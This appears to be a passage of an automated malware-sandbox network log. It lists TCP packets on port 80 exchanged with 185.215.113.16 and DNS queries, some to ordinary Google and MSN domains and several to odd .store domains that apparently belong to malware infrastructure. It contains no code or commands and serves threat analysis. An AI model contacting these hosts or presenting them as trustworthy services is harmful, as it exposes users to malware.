Nov 8, 2024 15:21:33.006289005 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006302118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006314039 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006325960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006326914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006340027 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006350040 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006371021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006395102 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006424904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006437063 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006448030 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006459951 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006463051 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006472111 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006478071 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006485939 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006498098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006511927 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006516933 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006520987 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006531000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006541967 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006550074 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006580114 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006675959 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006689072 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006700039 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006716967 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006730080 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006747961 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006751060 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006762981 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006774902 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006787062 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006793022 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006798983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006820917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006835938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.006964922 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006975889 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.006988049 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007002115 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007013083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007018089 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.007050991 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.007174015 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007211924 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007215023 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.007224083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.007247925 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.007261992 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.031765938 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031936884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031948090 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031955004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031960011 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031965971 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.031971931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032150030 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032179117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032191038 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032201052 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032213926 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032224894 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032226086 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032238007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032249928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032249928 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032265902 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032279015 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032282114 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032321930 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032321930 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.032453060 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032464981 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.032511950 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.082537889 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082566023 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082576990 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082603931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082613945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082623005 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.082624912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082636118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.082668066 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.083019018 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.083156109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117439032 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117451906 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117470026 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117482901 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117494106 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117521048 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117553949 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117582083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117593050 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117595911 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117631912 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117641926 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117736101 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117748022 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117760897 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117774010 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117779016 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117786884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117799044 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117808104 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117842913 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.117861032 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117943048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117953062 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117965937 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.117971897 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.118361950 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119064093 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119075060 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119091988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119110107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119112015 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119121075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119132042 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119134903 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119151115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119155884 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119160891 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119174004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119185925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119188070 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119198084 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119200945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119210958 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119213104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119229078 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119235992 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119240999 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119254112 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119266033 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119266987 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119282961 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119285107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119290113 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119296074 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119301081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119354963 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119399071 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119410038 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119436026 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119447947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119474888 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119474888 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119651079 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119693041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119704962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119730949 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119741917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119779110 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119791031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119813919 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119836092 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119852066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119863987 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119875908 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.119899988 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.119926929 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120132923 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120146036 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120181084 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120193958 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120227098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120239973 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120251894 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120270967 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120301008 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120318890 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120331049 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120342016 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120364904 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120394945 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.120395899 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120405912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.120438099 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121284962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121335030 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121336937 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121345997 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121367931 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121386051 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121413946 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121426105 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121438980 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121450901 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121464968 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121484041 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121745110 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121757030 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121768951 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121782064 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121803999 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121814013 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121830940 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121841908 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121854067 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121874094 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.121882915 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121901989 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.121922970 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122629881 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122675896 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122677088 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122689962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122709036 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122730970 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122773886 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122786999 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122800112 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122813940 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122823000 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122853041 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122898102 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122910023 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122924089 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122936010 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122947931 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122968912 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.122980118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.122992992 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123003960 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123016119 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123017073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123029947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123044968 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123080969 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123219013 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123231888 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123254061 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123256922 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123284101 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123297930 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123588085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123641968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123655081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123657942 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123683929 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123709917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123728991 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123742104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123754025 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123766899 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123775959 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123807907 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123852015 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123866081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123884916 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.123903990 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123929024 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:33.123987913 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.124000072 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.124017954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:33.124030113 CET	80	49840	185.215.113.16	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 8, 2024 15:20:44.693335056 CET	192.168.2.8	1.1.1.1	0x68dc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:20:44.693505049 CET	192.168.2.8	1.1.1.1	0x45f8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 8, 2024 15:20:49.630546093 CET	192.168.2.8	1.1.1.1	0x3acc	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:20:49.630697012 CET	192.168.2.8	1.1.1.1	0x6dee	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 8, 2024 15:20:50.632499933 CET	192.168.2.8	1.1.1.1	0xff28	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:20:50.632682085 CET	192.168.2.8	1.1.1.1	0x2dd6	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:02.055309057 CET	192.168.2.8	1.1.1.1	0xd423	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:02.055556059 CET	192.168.2.8	1.1.1.1	0xf022	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:03.313992977 CET	192.168.2.8	1.1.1.1	0xf61	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:03.314291000 CET	192.168.2.8	1.1.1.1	0x6735	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.164118052 CET	192.168.2.8	1.1.1.1	0xbf44	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.164264917 CET	192.168.2.8	1.1.1.1	0xdf8d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.164609909 CET	192.168.2.8	1.1.1.1	0xe57d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.164763927 CET	192.168.2.8	1.1.1.1	0xb6e8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.187994003 CET	192.168.2.8	1.1.1.1	0x6c51	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.188281059 CET	192.168.2.8	1.1.1.1	0x2218	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.191608906 CET	192.168.2.8	1.1.1.1	0x7df3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.191608906 CET	192.168.2.8	1.1.1.1	0xad3a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.200845003 CET	192.168.2.8	1.1.1.1	0xae94	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.201369047 CET	192.168.2.8	1.1.1.1	0x3516	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.211698055 CET	192.168.2.8	1.1.1.1	0x2879	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.211826086 CET	192.168.2.8	1.1.1.1	0xa042	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.212588072 CET	192.168.2.8	1.1.1.1	0x8782	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.212753057 CET	192.168.2.8	1.1.1.1	0x57ec	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:05.243942022 CET	192.168.2.8	1.1.1.1	0x47a1	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:05.244194031 CET	192.168.2.8	1.1.1.1	0xa2a6	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 8, 2024 15:21:57.070960045 CET	192.168.2.8	1.1.1.1	0x4594	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.301395893 CET	192.168.2.8	1.1.1.1	0xc81d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.327346087 CET	192.168.2.8	1.1.1.1	0x2cba	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.352523088 CET	192.168.2.8	1.1.1.1	0x28c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.377748013 CET	192.168.2.8	1.1.1.1	0xcf77	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.403737068 CET	192.168.2.8	1.1.1.1	0x3bb5	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:21:57.429724932 CET	192.168.2.8	1.1.1.1	0x5dee	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.096776962 CET	192.168.2.8	1.1.1.1	0xd39a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.096910954 CET	192.168.2.8	1.1.1.1	0xfaac	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:22:07.101916075 CET	192.168.2.8	1.1.1.1	0xf99f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.102098942 CET	192.168.2.8	1.1.1.1	0x84fa	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:22:07.102965117 CET	192.168.2.8	1.1.1.1	0x8765	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:07.103169918 CET	192.168.2.8	1.1.1.1	0x292f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 8, 2024 15:22:09.694829941 CET	192.168.2.8	1.1.1.1	0x7524	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.734149933 CET	192.168.2.8	1.1.1.1	0xde8b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.759519100 CET	192.168.2.8	1.1.1.1	0xfe30	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.796581030 CET	192.168.2.8	1.1.1.1	0xd22	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 8, 2024 15:22:09.820699930 CET	192.168.2.8	1.1.1.1	0x3fc3	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
